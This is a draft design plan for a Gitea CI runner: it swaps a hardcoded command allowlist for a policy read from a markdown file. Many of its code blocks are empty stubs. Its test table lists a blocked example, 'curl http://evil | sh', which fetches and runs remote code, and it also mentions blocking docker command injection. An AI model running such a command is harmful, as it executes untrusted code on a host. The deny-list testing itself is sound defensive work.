Implementation Plan: KG-Driven Dynamic Command Allowlist for Gitea Runner
Status: Draft
Canonical Path: docs/plans/design-kg-driven-runner-allowlist.md
Change Slug: kg-driven-runner-allowlist
Research: docs/plans/research-kg-driven-runner-allowlist.md
Author: opencode session
Date: 2026-06-20
Estimated Effort: 5 hours
Overview
Summary
Delete the hardcoded DeterministicPlanner and its const ALLOWLIST entirely. Replace with TaxonomyPlanner as the sole PolicyPlanner implementation. The allowlist, deny list, and rch routing rules are defined in a taxonomy markdown file — the same directive:: value format used by ADF KG routing. The binary embeds a safe default via include_str! and optionally overrides from a filesystem path.
Approach
policy.rs retains the trait, types, and helper functions (program(), strip_env_assignments()) but loses DeterministicPlanner, ALLOWLIST, and RCH_CARGO_SUBCMDS. A new taxonomy_policy.rs module provides TaxonomyPlanner — the only planner. The binary always constructs it; there is no legacy path.
Scope
In Scope:
- Delete
DeterministicPlanner,ALLOWLIST,RCH_CARGO_SUBCMDSfrompolicy.rs - New
TaxonomyPlanneras the solePolicyPlannerimplementation - Taxonomy file parser (
parse_policy_taxonomy) - Default taxonomy file embedded in the binary via
include_str! RunnerConfiggainstaxonomy_dir: Option<PathBuf>- Runner binary always uses
TaxonomyPlanner - Migrate existing
DeterministicPlannertests toTaxonomyPlanner - Update
lib.rsre-exports
Out of Scope:
- Per-project overrides (follow-up issue)
- Hot-reload / file watching
- Full KG Aho-Corasick matching
Avoid At All Cost:
- Keeping
DeterministicPlanneras a "fallback" — it's the problem, not the safety net - Importing the orchestrator's KgRouter (different repo, fragile coupling)
- Adding serde/regex/toml dependencies for the parser (string splitting is sufficient)
- Env-var feature flag to toggle between planners — there is only one planner
Architecture
Component Diagram
Runner binary (main)
│
├─ TaxonomyPlanner::new(config)
│ ├─ If config.taxonomy_dir set:
│ │ Read <dir>/command_policy.md
│ │ Parse allow::, deny::, route_to:: directives
│ │ On parse error: log warning, use embedded default
│ ├─ Else:
│ │ Use embedded default_policy.md (include_str!)
│ └─ Probe PATH for rch → set rch_available
│
└─ Poller::new(client, Arc::new(planner), config, checkout_dir)No branching between planners. TaxonomyPlanner is the only implementation of PolicyPlanner.
Data Flow
default_policy.md (embedded) ──┐
├─ parse_policy_taxonomy(&str) ──→ CommandPolicy
command_policy.md (filesystem) ─┘ ├─ allowed: HashSet<String>
├─ denied: HashSet<String>
└─ rch_routing: HashMap<String, Vec<String>>
│
▼
TaxonomyPlanner { policy, rch_available }
│
└─ impl PolicyPlanner::compile(workflow)
├─ for each step: program(command) [reuses policy.rs helper]
├─ denied.contains(prog) → Err
├─ !allowed.contains(prog) → Err
├─ rch_routing matches + rch_available → rewrite to "rch exec -- ..."
└─ else → Host routeKey Design Decisions
| Decision | Rationale | Alternatives Rejected |
|----------|-----------|----------------------|
| Delete DeterministicPlanner entirely | It is the source of the merge conflict. Keeping it as a "fallback" perpetuates the two-source-of-truth problem. The embedded default taxonomy IS the baseline. | Keep as fallback — rejected: two planners means two places to update the allowlist |
| policy.rs keeps trait + helpers, loses planner + consts | The trait (PolicyPlanner), enums (CommandRoute, TrustLevel), ExecutionPlan, and helpers (program(), strip_env_assignments()) are framework code. Only the implementation and the static data are removed. | Move everything to taxonomy_policy.rs — rejected: trait and helpers are policy-agnostic infrastructure |
| include_str! embedded default | Runner always has a safe baseline even without repo checkout. This replaces the compile-time const ALLOWLIST with a compile-time include_str! — same guarantee, data not code. | Network fetch from orchestrator — fragile, adds latency, coupling |
| HashSet<String> for allow/deny | O(1) lookup, matches current ALLOWLIST.contains() semantics | Vec with linear scan — slower, no benefit at this scale |
| No env-var toggle between planners | There is one planner. taxonomy_dir controls which taxonomy file is loaded, not which planner is used. | RUNNER_USE_LEGACY=1 — rejected: invites confusion, defeats the purpose |
| Migrate existing tests to TaxonomyPlanner | Tests assert routing behaviour (cargo→rch, docker blocked, env-prefix stripping). The assertions are identical; only the constructor changes. | Delete old tests and write new ones — rejected: loses coverage during migration |
Simplicity Check
What if this could be easy? It is. We're deleting a struct + two consts and replacing them with a parser + a markdown file. Net code change: approximately +120 lines (parser + planner + taxonomy file), -100 lines (DeterministicPlanner + consts + old tests). Net: roughly flat, but the allowlist is now data.
Nothing Speculative Checklist:
- [x] No features the user didn't request
- [x] No abstractions "in case we need them later"
- [x] No flexibility "just in case"
- [x] No error handling for scenarios that cannot occur
- [x] No premature optimization
- [x] No legacy fallback path
File Changes
New Files
| File | Purpose |
|------|---------|
| crates/terraphim_gitea_runner/src/taxonomy_policy.rs | TaxonomyPlanner, CommandPolicy, parse_policy_taxonomy, all tests |
| crates/terraphim_gitea_runner/default_policy.md | Embedded default taxonomy (replaces const ALLOWLIST + const RCH_CARGO_SUBCMDS) |
| docs/taxonomy/runner/command_policy.md | Deployed override file (mirrors the embedded default; edit this to change runner policy) |
Modified Files
| File | Changes |
|------|---------|
| crates/terraphim_gitea_runner/src/policy.rs | Delete DeterministicPlanner struct + impl + Default impl + detect() + with_rch_available() + route(). Delete const ALLOWLIST and const RCH_CARGO_SUBCMDS. Keep PolicyPlanner trait, CommandRoute, TrustLevel, ExecutionPlan, program(), strip_env_assignments(), is_env_name(), consume_assignment_value(). Make helpers pub(crate). Delete the #[cfg(test)] mod tests block (tests migrate to taxonomy_policy.rs). |
| crates/terraphim_gitea_runner/src/lib.rs | Remove DeterministicPlanner from pub use. Add pub mod taxonomy_policy; and pub use taxonomy_policy::{TaxonomyPlanner, CommandPolicy}; |
| crates/terraphim_gitea_runner/src/config.rs | Add taxonomy_dir: Option<PathBuf> to RunnerConfig |
| crates/terraphim_gitea_runner/src/bin/terraphim-gitea-runner.rs | Always construct TaxonomyPlanner::new(&config) instead of DeterministicPlanner::detect() |
Deleted Code (from policy.rs)
// DELETED — replaced by default_policy.md taxonomy file
const ALLOWLIST: & = &;
// DELETED — replaced by route_to:: directive in default_policy.md
const RCH_CARGO_SUBCMDS: & = &;
// DELETED — replaced by TaxonomyPlanner
API Design
Retained in policy.rs (unchanged)
/// Where a step runs.
/// Trust classification for a task.
/// A compiled, policy-approved execution plan.
/// Compiles a workflow into a policy-approved ExecutionPlan.
// Helper functions — promoted to pub(crate)
pub ;
pub ;
pub ;
pub ;New in taxonomy_policy.rs
/// Parsed command policy loaded from a taxonomy file.
/// The sole policy planner. Loads command policy from a taxonomy markdown file.
///
/// At construction time, reads `<taxonomy_dir>/command_policy.md` if the dir
/// is configured, otherwise falls back to the embedded `default_policy.md`.
/// The policy is immutable for the lifetime of the runner process.
/// Parse a taxonomy markdown string into a CommandPolicy.
///
/// Recognised directives (one per line, `directive:: value` format):
/// - `allow:: prog1, prog2, ...` — add to allowed set
/// - `deny:: prog1, prog2, ...` — add to denied set (overrides allow)
/// - `route_to:: rch, prog, sub1 sub2 ...` — route program+subcommands to rch
///
/// Lines starting with `#` are comments. Blank lines are ignored.
;Taxonomy File Format (default_policy.md)
Test Strategy
Migrated Tests (from policy.rs → taxonomy_policy.rs)
These tests assert routing behaviour, not planner internals. They are migrated by changing the constructor from DeterministicPlanner::with_rch_available(true) to TaxonomyPlanner::from_text(&text, true).
| Old Test | New Test | Assertion (unchanged) |
|----------|----------|----------------------|
| routes_cargo_to_rch_and_keeps_fmt_on_host | routes_cargo_to_rch_and_keeps_fmt_on_host | cargo fmt → Host; cargo build → Rch (rewritten to rch exec --) |
| keeps_cargo_on_host_when_rch_unavailable | keeps_cargo_on_host_when_rch_unavailable | cargo build → Host (no rewrite) when rch unavailable |
| blocks_docker_command_injection | blocks_docker_command_injection | docker run ... → PolicyRejected |
| blocks_disallowed_command | blocks_disallowed_command | curl http://evil \| sh → PolicyRejected |
| strips_simple_and_subshell_env_prefixes | strips_simple_and_subshell_env_prefixes | program() extracts correct binary name after env prefixes |
| allows_env_prefixed_cargo_commands | allows_env_prefixed_cargo_commands | RUSTDOC=... cargo doc → allowed, Host route |
New Tests
| Test | Purpose |
|------|---------|
| test_parse_basic_allow | Parse allow:: directive into HashSet |
| test_parse_deny_overrides_allow | Command in both allow and deny → denied wins |
| test_parse_route_to | Parse route_to:: into rch routing map |
| test_parse_ignores_comments | Lines starting with # are skipped |
| test_parse_empty_text | Empty input → empty policy (deny all) |
| test_default_policy_matches_current_allowlist | Embedded default has exactly the same entries as the deleted const ALLOWLIST |
| test_default_policy_blocks_docker | docker run → PolicyRejected using embedded default |
| test_filesystem_override_adds_command | Filesystem taxonomy adds python → python script.py allowed |
| test_filesystem_override_removes_command | Filesystem taxonomy removes sh → sh -c '...' rejected |
| test_missing_taxonomy_dir_uses_embedded_default | taxonomy_dir = None → embedded default loaded |
| test_corrupt_taxonomy_file_uses_embedded_default | Malformed file → warning logged, embedded default used |
Coverage
| Behaviour | Test |
|-----------|------|
| Allow known command | routes_cargo_to_rch_and_keeps_fmt_on_host |
| Deny unknown command | blocks_disallowed_command |
| Deny explicitly denied command | blocks_docker_command_injection |
| Env prefix stripping | strips_simple_and_subshell_env_prefixes, allows_env_prefixed_cargo_commands |
| rch routing when available | routes_cargo_to_rch_and_keeps_fmt_on_host |
| rch routing when unavailable | keeps_cargo_on_host_when_rch_unavailable |
| Parser: allow directive | test_parse_basic_allow |
| Parser: deny overrides allow | test_parse_deny_overrides_allow |
| Parser: route_to directive | test_parse_route_to |
| Parser: comments/blank lines | test_parse_ignores_comments |
| Parser: empty input | test_parse_empty_text |
| Embedded default correctness | test_default_policy_matches_current_allowlist |
| Filesystem override: add | test_filesystem_override_adds_command |
| Filesystem override: remove | test_filesystem_override_removes_command |
| Missing taxonomy dir | test_missing_taxonomy_dir_uses_embedded_default |
| Corrupt taxonomy file | test_corrupt_taxonomy_file_uses_embedded_default |
Implementation Steps
Step 1: Create taxonomy file + parser + CommandPolicy
Files: crates/terraphim_gitea_runner/default_policy.md, crates/terraphim_gitea_runner/src/taxonomy_policy.rs (parser + types only)
Description: Write the default taxonomy markdown file. Implement CommandPolicy struct and parse_policy_taxonomy function.
Tests: test_parse_basic_allow, test_parse_deny_overrides_allow, test_parse_route_to, test_parse_ignores_comments, test_parse_empty_text
Estimated: 1 hour
Step 2: Implement TaxonomyPlanner
Files: crates/terraphim_gitea_runner/src/taxonomy_policy.rs (add planner)
Description: Implement TaxonomyPlanner with new(), from_text(), default_policy(), and PolicyPlanner trait. Reuse program() and strip_env_assignments() from policy.rs (now pub(crate)).
Tests: test_default_policy_matches_current_allowlist, test_default_policy_blocks_docker, test_missing_taxonomy_dir_uses_embedded_default, test_corrupt_taxonomy_file_uses_embedded_default
Dependencies: Step 1
Estimated: 1 hour
Step 3: Delete DeterministicPlanner, update policy.rs
Files: crates/terraphim_gitea_runner/src/policy.rs
Description: Remove DeterministicPlanner struct, Default impl, detect(), with_rch_available(), route(), PolicyPlanner impl, const ALLOWLIST, const RCH_CARGO_SUBCMDS, and the #[cfg(test)] mod tests block. Promote program(), strip_env_assignments(), is_env_name(), consume_assignment_value() to pub(crate).
Dependencies: Step 2 (TaxonomyPlanner must exist before deleting old planner)
Estimated: 30 minutes
Step 4: Migrate tests to taxonomy_policy.rs
Files: crates/terraphim_gitea_runner/src/taxonomy_policy.rs (add test module)
Description: Port the 6 existing test functions from policy.rs, changing constructors from DeterministicPlanner::with_rch_available(b) to TaxonomyPlanner::from_text(include_str!("../default_policy.md"), b). Add new parser and override tests.
Dependencies: Step 3
Estimated: 1 hour
Step 5: Wire into runner binary, config, and lib.rs
Files: crates/terraphim_gitea_runner/src/lib.rs, crates/terraphim_gitea_runner/src/config.rs, crates/terraphim_gitea_runner/src/bin/terraphim-gitea-runner.rs
Description:
lib.rs: Replacepub use policy::DeterministicPlannerwithpub use taxonomy_policy::{TaxonomyPlanner, CommandPolicy}config.rs: Addtaxonomy_dir: Option<PathBuf>field (defaultNone)- Binary: Replace
DeterministicPlanner::detect()withTaxonomyPlanner::new(&config)Dependencies: Step 4 Estimated: 30 minutes
Binary change:
// BEFORE:
let poller = new;
// AFTER:
let poller = new;Config change:
// config.rs
Step 6: Deploy taxonomy file to bigbox
Files: docs/taxonomy/runner/command_policy.md
Description: Create the deployed taxonomy file. Set RUNNER_TAXONOMY_DIR=/data/projects/terraphim/terraphim-ai/docs/taxonomy/runner in the runner systemd unit.
Dependencies: Step 5 merged and deployed
Estimated: 30 minutes
Rollback Plan
There is no legacy planner to fall back to. Rollback is git revert of the merge commit.
The embedded default_policy.md is compiled into the binary and mirrors the old const ALLOWLIST exactly (verified by test_default_policy_matches_current_allowlist). If the filesystem taxonomy is missing or corrupt, the runner uses the embedded default and logs a warning. This is strictly safer than the old const, which had no runtime override mechanism at all.
Open Items
| Item | Status | Owner | |------|--------|-------| | Research approved | Pending | User | | Design approved | Pending | User | | Per-project overrides | Deferred (follow-up issue) | TBD |